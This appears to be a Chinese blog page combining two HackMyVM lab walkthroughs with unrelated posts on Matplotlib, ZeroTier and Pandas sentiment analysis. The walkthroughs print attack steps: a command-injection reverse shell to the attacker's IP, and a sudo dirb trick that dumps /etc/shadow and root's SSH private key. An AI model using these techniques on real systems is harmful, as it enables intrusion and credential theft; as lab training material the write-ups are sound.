HackMyVM Crack信息收集┌──(kali㉿kali)-[~] └─$ nmap -p0-65535 192.168.100.55 Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-04 11:08 EDT Nmap scan report for 192.168.100.55 Host is up (0.00038s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 21/tcp open ftp 4200/tcp open vrml-multi-use 12359/tcp open unknown MAC Address: 08:00:27:90:73:E2 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 5.72 seconds详细扫一下┌──(kali㉿kali)-[~] └─$ nmap -p21,4200,12359 -sC -sV 192.168.100.55 Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-04 11:12 EDT Nmap scan report for 192.168.100.55 Host is up (0.00049s latency). PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:192.168.100.100 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 1 | vsFTPd 3.0.3 - secure, fast, stable |_End of status | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_drwxrwxrwx 2 0 0 4096 Jun 07 2023 upload [NSE: writeable] 4200/tcp open ssl/http ShellInABox |_http-title: Shell In A Box |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=crack | Not valid before: 2023-06-07T10:20:13 |_Not valid after: 2043-06-02T10:20:13 12359/tcp open unknown | fingerprint-strings: | GenericLines: | File to read:NOFile to read: | NULL: |_ File to read: 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port12359-TCP:V=7.95%I=7%D=5/4%Time=681783E9%P=x86_64-pc-linux-gnu%r(NU SF:LL,D,"File\x20to\x20read:")%r(GenericLines,1C,"File\x20to\x20read:NOFil SF:e\x20to\x20read:"); MAC Address: 08:00:27:90:73:E2 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Service Info: OS: Unix Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 25.86 seconds21: 可以发现 FTP 可以匿名访问 upload/下有一个crack.pyimport os import socket s = socket.socket() s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) port = 12359 s.bind(('', port)) s.listen(50) c, addr = s.accept() no = "NO" while True: try: c.send('File to read:'.encode()) data = c.recv(1024) file = (str(data, 'utf-8').strip()) filename = os.path.basename(file) check = "/srv/ftp/upload/"+filename if os.path.isfile(check) and os.path.isfile(file): f = open(file,"r") lines = f.readlines() lines = str(lines) lines = lines.encode() c.send(lines) else: c.send(no.encode()) except ConnectionResetError: pass4200: 是一个 web 是一个终端image-2025050423212179712359: nc 过去后File to read: 是 ftp 中的py 脚本 脚本中有一些限制┌──(kali㉿kali)-[~] └─$ nc 192.168.100.55 12359 File to read:/etc/passwd NOFile to read:/etc/passwd NOFile to read:GetShellfile = (str(data, 'utf-8').strip()) filename = os.path.basename(file) check = "/srv/ftp/upload/"+filename if os.path.isfile(check) and os.path.isfile(file): f = open(file,"r") ...可以发现他检查了一下这个文件是否在 ftp/upload 和 我输入的路径中存在, 居然最终去读我输入的路径那么就很简单了， 只需要在 ftp/upload 中上传一个我想看的文件 (比如 /etc/passwd) 就可以读取到了┌──(kali㉿kali)-[~] └─$ lftp 192.168.100.55 -u Anonymous 密码: lftp Anonymous@192.168.100.55:~> ls drwxrwxrwx 2 0 0 4096 May 04 17:49 upload lftp Anonymous@192.168.100.55:/> cd upload lftp Anonymous@192.168.100.55:/upload> put passwd lftp Anonymous@192.168.100.55:/upload> ls -rwxr-xr-x 1 1000 1000 849 Jun 07 2023 crack.py -rw------- 1 107 114 0 May 04 18:08 passwd lftp Anonymous@192.168.100.55:/upload>┌──(kali㉿kali)-[~] └─$ nc 192.168.100.55 12359 File to read:/etc/passwd ['root:x:0:0:root:/root:/bin/bash\n', 'daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n', 'bin:x:2:2:bin:/bin:/usr/sbin/nologin\n', 'sys:x:3:3:sys:/dev:/usr/sbin/nologin\n', 'sync:x:4:65534:sync:/bin:/bin/sync\n', 'games:x:5:60:games:/usr/games:/usr/sbin/nologin\n', 'man:x:6:12:man:/var/cache/man:/usr/sbin/nologin\n', 'lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\n', 'mail:x:8:8:mail:/var/mail:/usr/sbin/nologin\n', 'news:x:9:9:news:/var/spool/news:/usr/sbin/nologin\n', 'uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\n', 'proxy:x:13:13:proxy:/bin:/usr/sbin/nologin\n', 'www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\n', 'backup:x:34:34:backup:/var/backups:/usr/sbin/nologin\n', 'list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\n', 'irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\n', 'gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\n', 'nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n', '_apt:x:100:65534::/nonexistent:/usr/sbin/nologin\n', 'systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin\n', 'systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin\n', 'messagebus:x:103:109::/nonexistent:/usr/sbin/nologin\n', 'systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin\n', 'sshd:x:105:65534::/run/sshd:/usr/sbin/nologin\n', 'cris:x:1000:1000:cris,,,:/home/cris:/bin/bash\n', 'systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin\n', 'shellinabox:x:106:112:Shell In A Box,,,:/var/lib/shellinabox:/usr/sbin/nologin\n', 'ftp:x:107:114:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin\n']root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:109::/nonexistent:/usr/sbin/nologin systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin sshd:x:105:65534::/run/sshd:/usr/sbin/nologin cris:x:1000:1000:cris,,,:/home/cris:/bin/bash systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin shellinabox:x:106:112:Shell In A Box,,,:/var/lib/shellinabox:/usr/sbin/nologin ftp:x:107:114:ftp daemon,,,:/srv/ftp:/usr/sbin/nologinuser 可登录的 只有 cris 暂时没想到密码会在哪里， 猜测可能是弱口令回到 4200 web 尝试登录 尝试后发现 密码就是 cris网页上的 shell 卡卡的 不知道为什么所以我用 socat 转发了一下 22 端口连 ssh 了UserFlagcris@crack:~$ id uid=1000(cris) gid=1000(cris) grupos=1000(cris),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev) cris@crack:~$ cat user.txt eG4TUsTBxSFjTOPHMVRoot 提权cris@crack:~$ sudo -l Matching Defaults entries for cris on crack: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User cris may run the following commands on crack: (ALL) NOPASSWD: /usr/bin/dirbsudo -l 后发现dirb 那很明显了，肯定是任意文件读取cris@crack:~$ sudo dirb https://127.0.0.1:4200 /etc/shadow -v ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Sun May 4 18:28:50 2025 URL_BASE: https://127.0.0.1:4200/ WORDLIST_FILES: /etc/shadow OPTION: Show Not Existent Pages ----------------- GENERATED WORDS: 28 ---- Scanning URL: https://127.0.0.1:4200/ ---- + https://127.0.0.1:4200/root:$y$j9T$LVT9GIrLdk5L.xns1akJZ1$wmigJ7er07AT/VwIAuYSZ3j94LOCe8EJHC6d2mlZVo3:19515:0:99999:7::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/daemon:*:19515:0:99999:7::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/bin:*:19515:0:99999:7::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/sys:*:19515:0:99999:7::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/sync:*:19515:0:99999:7::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/games:*:19515:0:99999:7::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/man:*:19515:0:99999:7::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/lp:*:19515:0:99999:7::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/mail:*:19515:0:99999:7::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/news:*:19515:0:99999:7::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/uucp:*:19515:0:99999:7::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/proxy:*:19515:0:99999:7::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/www-data:*:19515:0:99999:7::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/backup:*:19515:0:99999:7::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/list:*:19515:0:99999:7::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/irc:*:19515:0:99999:7::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/gnats:*:19515:0:99999:7::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/nobody:*:19515:0:99999:7::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/_apt:*:19515:0:99999:7::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/systemd-network:*:19515:0:99999:7::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/systemd-resolve:*:19515:0:99999:7::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/messagebus:*:19515:0:99999:7::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/systemd-timesync:*:19515:0:99999:7::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/sshd:*:19515:0:99999:7::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/cris:$y$j9T$kFXVxpRhH2ZAeDGNazqRq/$IokBR4XhhyRJOur8YOHu3fF59/0NOHC5AIsvkxXx8..:19515:0:99999:7::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/systemd-coredump:!*:19515:::::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/shellinabox:*:19515:0:99999:7::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/ftp:*:19515:0:99999:7::: (CODE:404|SIZE:356) ----------------- END_TIME: Sun May 4 18:28:50 2025 DOWNLOADED: 28 - FOUND: 0把/etc/shadow 指定为字典就能带出来了但是root 密码用 john 没有跑出来 尝试直接读rootflag 失败了， 没有找到 root.txt 再读了一下私钥 读出来了cris@crack:~$ sudo dirb https://127.0.0.1:4200 /root/.ssh/id_rsa -v ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Sun May 4 18:40:32 2025 URL_BASE: https://127.0.0.1:4200/ WORDLIST_FILES: /root/.ssh/id_rsa OPTION: Show Not Existent Pages ----------------- GENERATED WORDS: 38 ---- Scanning URL: https://127.0.0.1:4200/ ---- + https://127.0.0.1:4200/-----BEGIN (CODE:404|SIZE:356) + https://127.0.0.1:4200/b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn (CODE:404|SIZE:356) + https://127.0.0.1:4200/NhAAAAAwEAAQAAAYEAxBvRe3EH67y9jIt2rwa79tvPDwmb2WmYv8czPn4bgSCpFmhDyHwn (CODE:404|SIZE:356) + https://127.0.0.1:4200/b0IUyyw3iPQ3LlTYyz7qEc2vaj1xqlDgtafvvtJ2EJAJCFy5osyaqbYKgAkGkQMzOevdGt (CODE:404|SIZE:356) + https://127.0.0.1:4200/xNQ8NxRO4/bC1v90lUrhyLi/ML5B4nak+5vLFJi8NlwXMQJ/xCWZg5+WOLduFp4VvHlwAf (CODE:404|SIZE:356) + https://127.0.0.1:4200/tDh2C+tJp2hqusW1jZRqSXspCfKLPt/v7utpDTKtofxFvSS55MFciju4dIaZLZUmiqoD4k (CODE:404|SIZE:356) + https://127.0.0.1:4200//+FwJbMna8iPwmvK6n/2bOsE1+nyKbkbvDG5pjQ3VBtK23BVnlxU4frFrbicU+VtkClfMu (CODE:404|SIZE:356) + https://127.0.0.1:4200/yp7muWGA1ydvYUruoOiaURYupzuxw25Rao0Sb8nW1qDBYH3BETPCypezQXE22ZYAj0ThSl (CODE:404|SIZE:356) + https://127.0.0.1:4200/Kn2aZN/8xWAB+/t96TcXogtSbQw/eyp9ecmXUpq5i1kBbFyJhAJs7x37WM3/Cb34a/6v8c (CODE:404|SIZE:356) + https://127.0.0.1:4200/9rMjGl9HMZFDwswzAGrvPOeroVB/TpZ+UBNGE1znAAAFgC5UADIuVAAyAAAAB3NzaC1yc2 (CODE:404|SIZE:356) + https://127.0.0.1:4200/EAAAGBAMQb0XtxB+u8vYyLdq8Gu/bbzw8Jm9lpmL/HMz5+G4EgqRZoQ8h8J29CFMssN4j0 (CODE:404|SIZE:356) + https://127.0.0.1:4200/Ny5U2Ms+6hHNr2o9capQ4LWn777SdhCQCQhcuaLMmqm2CoAJBpEDMznr3RrcTUPDcUTuP2 (CODE:404|SIZE:356) + https://127.0.0.1:4200/wtb/dJVK4ci4vzC+QeJ2pPubyxSYvDZcFzECf8QlmYOflji3bhaeFbx5cAH7Q4dgvrSado (CODE:404|SIZE:356) + https://127.0.0.1:4200/arrFtY2Uakl7KQnyiz7f7+7raQ0yraH8Rb0kueTBXIo7uHSGmS2VJoqqA+JP/hcCWzJ2vI (CODE:404|SIZE:356) + https://127.0.0.1:4200/j8Jryup/9mzrBNfp8im5G7wxuaY0N1QbSttwVZ5cVOH6xa24nFPlbZApXzLsqe5rlhgNcn (CODE:404|SIZE:356) + https://127.0.0.1:4200/b2FK7qDomlEWLqc7scNuUWqNEm/J1tagwWB9wREzwsqXs0FxNtmWAI9E4UpSp9mmTf/MVg (CODE:404|SIZE:356) + https://127.0.0.1:4200/Afv7fek3F6ILUm0MP3sqfXnJl1KauYtZAWxciYQCbO8d+1jN/wm9+Gv+r/HPazIxpfRzGR (CODE:404|SIZE:356) + https://127.0.0.1:4200/Q8LMMwBq7zznq6FQf06WflATRhNc5wAAAAMBAAEAAAGAeX9uopbdvGx71wZUqo12iLOYLg (CODE:404|SIZE:356) + https://127.0.0.1:4200/3a87DbhP2KPw5sRe0RNSO10xEwcVq0fUfQxFXhlh/VDN7Wr98J7b1RnZ5sCb+Y5lWH9iz2 (CODE:404|SIZE:356) + https://127.0.0.1:4200/m6qvDDDNJZX2HWr6GX+tDhaWLt0MNY5xr64XtxLTipZxE0n2Hueel18jNldckI4aLbAKa/ (CODE:200|SIZE:5215) + https://127.0.0.1:4200/a4rL058j5AtMS6lBWFvqxZFLFr8wEECdBlGoWzkjGJkMTBsPLP8yzEnlipUxGgTR/3uSMN (CODE:404|SIZE:356) + https://127.0.0.1:4200/peiKDzLI/Y+QcQku/7GmUIV4ugP0fjMnz/XcXqe6GVNX/gvNeT6WfKPCzcaXiF4I2i228u (CODE:404|SIZE:356) + https://127.0.0.1:4200/TB9Ga5PNU2nYzJAQcAVvDwwC4IiNsDTdQY+cSOJ0KCcs2cq59EaOoZHY6Od88900V3MKFG (CODE:404|SIZE:356) + https://127.0.0.1:4200/TwielzW1Nqq1ltaQYMtnILxzEeXJFp6LlqFTF4Phf/yUyK04a6mhFg3kJzsxE+iDOVH28D (CODE:404|SIZE:356) + https://127.0.0.1:4200/Unj2OgO53KJ2FdLBHkUDlXMaDsISuizi0aj2MnhCryfHefhIsi1JdFyMhVuXCzNGUBAAAA (CODE:404|SIZE:356) + https://127.0.0.1:4200/wQDlr9NWE6q1BovNNobebvw44NdBRQE/1nesegFqlVdtKM61gHYWJotvLV79rjjRfjnGHo (CODE:404|SIZE:356) + https://127.0.0.1:4200/0MoSXZXiC/0/CSfe6Je7unnIzhiA85jSe/u2dIviqItTc2CBRtOZl7Vrflt7lasT7J1WAO (CODE:404|SIZE:356) + https://127.0.0.1:4200/1ROwaN5uL26gIgtf/Y7Rhi0wFPN289UI2gjeVQKhXBObVm3qY7yZh8JpLPH5w0Xeuo20sP (CODE:404|SIZE:356) + https://127.0.0.1:4200/WchZl0D8KSZUKhlPU6Pibqmj9bAAm7hwFecuQMeS+nxg1qIGYAAADBAOZ1XurOyyH9RWIo (CODE:404|SIZE:356) + https://127.0.0.1:4200/0sTQ3d/kJNgTNHAs4Y0SxSOejC+N3tEU33GU3P+ppfHYy595rX7MX4o3gqXFpAaHRIAupr (CODE:404|SIZE:356) + https://127.0.0.1:4200/DbenB1HQW4o6Gg+SF2GWPAQeuDbCsLM9P8XOiQIjTuCvYwHUdFD7nWMJ5Sqr6EeBV+CYw1 (CODE:404|SIZE:356) + https://127.0.0.1:4200/Tg5PIU3FsnN5D3QOHVpGNo2qAvi+4CD0BC5fxOs6cZ1RBqbJ1kanw1H6fF8nRRBds+26Bl (CODE:404|SIZE:356) + https://127.0.0.1:4200//RGZHTBPLVenhNmWN2fje3GDBqVeIbZwAAAMEA2dfdjpefYEgtF0GMC9Sf5UzKIEKQMzoh (CODE:404|SIZE:356) + https://127.0.0.1:4200/oxY6YRERurpcyYuSa/rxIP2uxu1yjIIcO4hpsQaoipTM0T9PS56CrO+FN9mcIcXCj5SVEq (CODE:404|SIZE:356) + https://127.0.0.1:4200/2UVzu9LS0PdqPmniNmWglwvAbkktcEmbmCLYoh5GBxm9VhcL69dhzMdVe73Z9QhNXnMDlf (CODE:404|SIZE:356) + https://127.0.0.1:4200/6xpD9lHWyp+ocD/meYC7V8aio/W9VxL25NlYwdFyCgecd/rIJQ+tGPXoqXIKrf5lVrVtFC (CODE:404|SIZE:356) + https://127.0.0.1:4200/s8IoeeQHSidUKBAAAACnJvb3RAY3JhY2s= (CODE:404|SIZE:356) + https://127.0.0.1:4200/-----END (CODE:404|SIZE:356) ----------------- END_TIME: Sun May 4 18:40:32 2025 DOWNLOADED: 38 - FOUND: 1-----BEGIN OPENSSH PRIVATE KEY----- [binary] -----END OPENSSH PRIVATE KEY-----修改一下格式就可以直接登录了RootFlagroot@crack:~# id uid=0(root) gid=0(root) grupos=0(root) root@crack:~# cat root_fl4g.txt wRt2xlFjcYqXXo4HMV总结难度尚可, 适合我这种菜b
HackMyVM Azer信息收集$ nmap 192.168.100.54 -p- Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-01 06:19 EDT Nmap scan report for 192.168.100.54 Host is up (0.00071s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 80/tcp open http 3000/tcp open ppp MAC Address: 08:00:27:D6:92:0B (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 6.00 secondsimage-2025050118210276280 是一个网页 未发现明显线索3000 端口是一个登录页面image-20250501182216467随便试了一下弱口令后返回image-20250501183040641好像会使用我输入的账密 执行脚本验证 所以我们进行命令注入尝试使用 | id 发现没有回显| sleep 5成功睡眠了GetShell那么我们直接开始反弹 Shell使用 nc -c bash 192.168.100.100 9001 命令反弹 shell┌──(kali㉿kali)-[~] └─$ nc -lvnp 9001 listening on [any] 9001 ... connect to [192.168.100.100] from (UNKNOWN) [192.168.100.54] 59874 id uid=1000(azer) gid=1000(azer) groups=1000(azer),100(users)获取User Flagazer@azer:~$ ls -al total 64 drwx------ 5 azer azer 4096 Feb 21 2024 . drwxr-xr-x 3 root root 4096 Feb 21 2024 .. -rwxr-xr-x 1 azer azer 72 Feb 21 2024 get.sh drwxr-xr-x 66 azer azer 4096 Feb 21 2024 node_modules drwxr-xr-x 4 azer azer 4096 Feb 21 2024 .npm -rw-r--r-- 1 azer azer 53 Feb 21 2024 package.json -rw-r--r-- 1 azer azer 25336 Feb 21 2024 package-lock.json -rw-r--r-- 1 azer azer 1950 Feb 21 2024 server.js drwxr-xr-x 2 azer azer 4096 Feb 21 2024 .ssh -rw------- 1 azer azer 33 Feb 21 2024 user.txt azer@azer:~$ cat user.txt 0d2856d69dc348b3af80a0eed67c7502在家目录中获得了 user flagRoot提权azer@azer:~$ ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host noprefixroute valid_lft forever preferred_lft forever 2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000 link/ether 08:00:27:d6:92:0b brd ff:ff:ff:ff:ff:ff inet 192.168.100.54/24 brd 192.168.100.255 scope global dynamic enp0s3 valid_lft 5317sec preferred_lft 5317sec inet6 fe80::a00:27ff:fed6:920b/64 scope link valid_lft forever preferred_lft forever 3: br-333bcb432cd5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:6c:62:72:35 brd ff:ff:ff:ff:ff:ff inet 10.10.10.1/24 brd 10.10.10.255 scope global br-333bcb432cd5 valid_lft forever preferred_lft forever inet6 fe80::42:6cff:fe62:7235/64 scope link valid_lft forever preferred_lft forever 4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default link/ether 02:42:2c:c8:ed:3c brd ff:ff:ff:ff:ff:ff inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0 valid_lft forever preferred_lft forever 6: veth8c248f3@if5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-333bcb432cd5 state UP group default link/ether 3e:b4:9b:14:67:55 brd ff:ff:ff:ff:ff:ff link-netnsid 0 inet6 fe80::3cb4:9bff:fe14:6755/64 scope link valid_lft forever preferred_lft forever发现一个 docker 那么使用 fscan 扫描一下主机azer@azer:~$ ./fscan -np -no -h 10.10.10.1/24 ┌──────────────────────────────────────────────┐ │ ___ _ │ │ / _ \ ___ ___ _ __ __ _ ___| | __ │ │ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / │ │ / /_\\_____\__ \ (__| | | (_| | (__| < │ │ \____/ |___/\___|_| \__,_|\___|_|\_\ │ └──────────────────────────────────────────────┘ Fscan Version: 2.0.0 [2025-05-01 08:52:24] [INFO] 暴力破解线程数: 1 [2025-05-01 08:52:25] [INFO] 开始信息扫描 [2025-05-01 08:52:25] [INFO] CIDR范围: 10.10.10.0-10.10.10.255 [2025-05-01 08:52:25] [INFO] 生成IP范围: 10.10.10.0.%!d(string=10.10.10.255) - %!s(MISSING).%!d(MISSING) [2025-05-01 08:52:25] [INFO] 解析CIDR 10.10.10.1/24 -> IP范围 10.10.10.0-10.10.10.255 [2025-05-01 08:52:25] [INFO] 最终有效主机数量: 256 [2025-05-01 08:52:25] [INFO] 开始主机扫描 [2025-05-01 08:52:25] [INFO] 有效端口数量: 233 [2025-05-01 08:53:01] [SUCCESS] 端口开放 10.10.10.10:80 [2025-05-01 08:53:01] [SUCCESS] 端口开放 10.10.10.1:80 [2025-05-01 08:53:06] [SUCCESS] 服务识别 10.10.10.10:80 => [http]发现了10.10.10.10:80curl 出了一个奇怪的东西， 试了一下是 Root 密码azer@azer:/$ curl 10.10.10.10:80 .:.AzerBulbul.:.Root Flagroot@azer:~# cat root.txt b5d96aec2d5f1541c5e7910ccab527d8
Matplotlib plt.gca() 参数基本要素在开始画图之前我们先看一下matplotlib画图的基本要素，我们结合官方给出的两张图来看我们对上面两张图分别解释 Matplotlib 中的一些概念Figure: 可以理解为画布，在画图之前首先必须先创建一个画布，然后再在这个画布上画图，在一个画布上可以画多个图Axes: 可以理解为画布上的一个图，通过 subplot 在画布上可以画多个图，一个图对应一个 AxesAxis: 坐标轴title: 该图对应的标题xy label: 水平轴和垂直轴代表的意义Grid: 右图中的虚线网格，可显示也可不显示Legend: 图例，标识不同图形Markers: 表示点的形状如果你去翻过 Matplotlib 的一些函数源文件 你就可以发现 (这里以plt.title()为例):image-20240415143841026使用plt的函数都是返回给gca().什么什么的plt.gca()是用来获取当前坐标轴对象的 是"Get Current Axes"的缩, Axes是图形对象（Figure）中的一个重要组成部分，用于绘制和管理图形的各个元素，如曲线、散点图、文本、坐标轴等。gca()函数都可以指定Axes对象进行设置 不指定就是当前子图可以使用plt.subplots函数来创建Figure和Axes, 并将其对应对象返回, 它是绘图的最顶层容器。可以使用该对象进行图形的设置和操作，例如设置图形的大小、标题等image-20240415151128321Axes.patches这是一个不是很好讲的东西 image-20240415153608497Axes.patches 可以返回这个坐标轴中的图形的图形 这里画的是柱状图有四个柱子所以他返回了 Rectangle 就是矩形image-20240415153724870image-20240415153923801获取到的数据有很多的位置 高宽 可以get出来用来画图Axes.add_patch(plt.Rectangle()) 可以自定义添加矩形image-20240415163922504aplines可以对图上的轴线进行设置image-20240416155258209代码提示问题当你在使用PyCharm时代码提示不工作的时候,PyCharm 无法自动判断函数返回值的类型 , 可以这样做image-20240417084756043可以看到axes设置没有代码提示这让人很想杀人解决方法就是给ax加上类型注解 (需要注意的是如果函数返回的是元组,不能设置类型注解 会提示 变量注解不能与元组解包相结合)image-20240417090003770image-20240417085452320代码提示就成功的有了 非常方便
ZeroTier 虚拟局域网人在外网如同局域网一样访问ZeroTier 是一款强大的内网穿透软件 并且是免费的 通过网页后台创建虚拟网络并进行管理并通过电脑上的Zerotier客户端连接各个异地电脑到虚拟局域网，从而实现组网由后台分配虚拟ip，并且各个异地电脑可以通过虚拟IP对同一虚拟局域网下的其他电脑进行访问很适合没有公网ip没有ipv6的用户或者 你想远程组建虚拟局域网注册 配置 ZeroTier注册ZeroTier 账号官网: ZeroTier | Global Area Networking官网如果进不去的话 需要科学上网一下注册完成后 点击NetWorks点击Create A Network20231110200214配置 ZeroTier创建好后点击你刚刚创建的网络20231110201008可以将里面的 Name 改成你想要的名字Access Control 图中的PRIVATE表示你创建的网络是私人的，需要通过管理员(就是你，独一无二的你，创建网络的你)同意之后才能加入，PUBLIC为任何人都可以加入，不要选。Network ID 是你待会需要加入网络用的20231110201852上图位置可以设置 自动获取虚拟ip的网段和范围 Advanced里可以自定义网段范围0b8fe835d024d1d77588a7cf6dbf6a40往下滑可以找到 设备列表 每个添加进来的 设备左边的Auth都需要打上勾 才可以被分配虚拟ipZeroTier使用分为 基础使用 和 进阶使用基础使用 ZeroTierWindows 端下载 Windows 客户端 Download (zerotier.com)安装好后 软件没有UI打开后在后台右键d3adcb860fe91511c55ca5a221589d57点击Join New Network在弹出的窗口中输入刚刚的16位 Network ID加入完成后 在网页端打上勾就可以看到本机已经被 分配虚拟ip 了安卓端同理, 下载软件添加即可进阶使用下次再写
Pandas 数据处理 情感分析评论使用库Pandas SnowNLP matplotlib需求:​ 使用pandas 进行数据处理 将评论者等级和评论内容进行提取​ 将评论6级到0级的数据分别进行分组 对评论进行情感分析 写入新表 分别查看每个等级正负评论比例开发环境使用 Jupyter Notebook Pandas == 1.5.3 matplotlib == 3.7.1 SnowNLP == 0.12.3数据处理1.png源数据结构import pandas as pd df = pd.read_excel("CommentData.xlsx") # 读取源数据 df1 = df"评论作者 UID","评论作者等级", "评论内容" # 抽取评论作者 UID,评论作者等级,评论内容 sixLevelComment = df1.loc[(df1["评论作者等级"] == 6)] #把0-6级的评论拆分成各个表 fiveLevelComment = df1.loc[(df1["评论作者等级"] == 5)] fourLevelComment = df1.loc[(df1["评论作者等级"] == 4)] threeLevelComment = df1.loc[(df1["评论作者等级"] == 3)] twoLevelComment = df1.loc[(df1["评论作者等级"] == 2)] zeroLevelComment = df1.loc[(df1["评论作者等级"] == 0)]from snownlp import SnowNLP # 导入用于情感分析的库 def commentsEmotion(comments): CommentEmotion = [] for comment in comments["评论内容"]: s = SnowNLP(comment) sc = s.sentiments if sc >= 0.6: CommentEmotion.append("正向") elif sc > 0.2: CommentEmotion.append("中性") elif sc <= 0.2: CommentEmotion.append("负向") return CommentEmotion sixLevelComment.loc[:,"评论情感分析"] = commentsEmotion(sixLevelComment) fiveLevelComment.loc[:,"评论情感分析"] = commentsEmotion(fiveLevelComment) fourLevelComment.loc[:,"评论情感分析"] = commentsEmotion(fourLevelComment) threeLevelComment.loc[:,"评论情感分析"] = commentsEmotion(threeLevelComment) twoLevelComment.loc[:,"评论情感分析"] = commentsEmotion(twoLevelComment) zeroLevelComment.loc[:,"评论情感分析"] = commentsEmotion(zeroLevelComment) 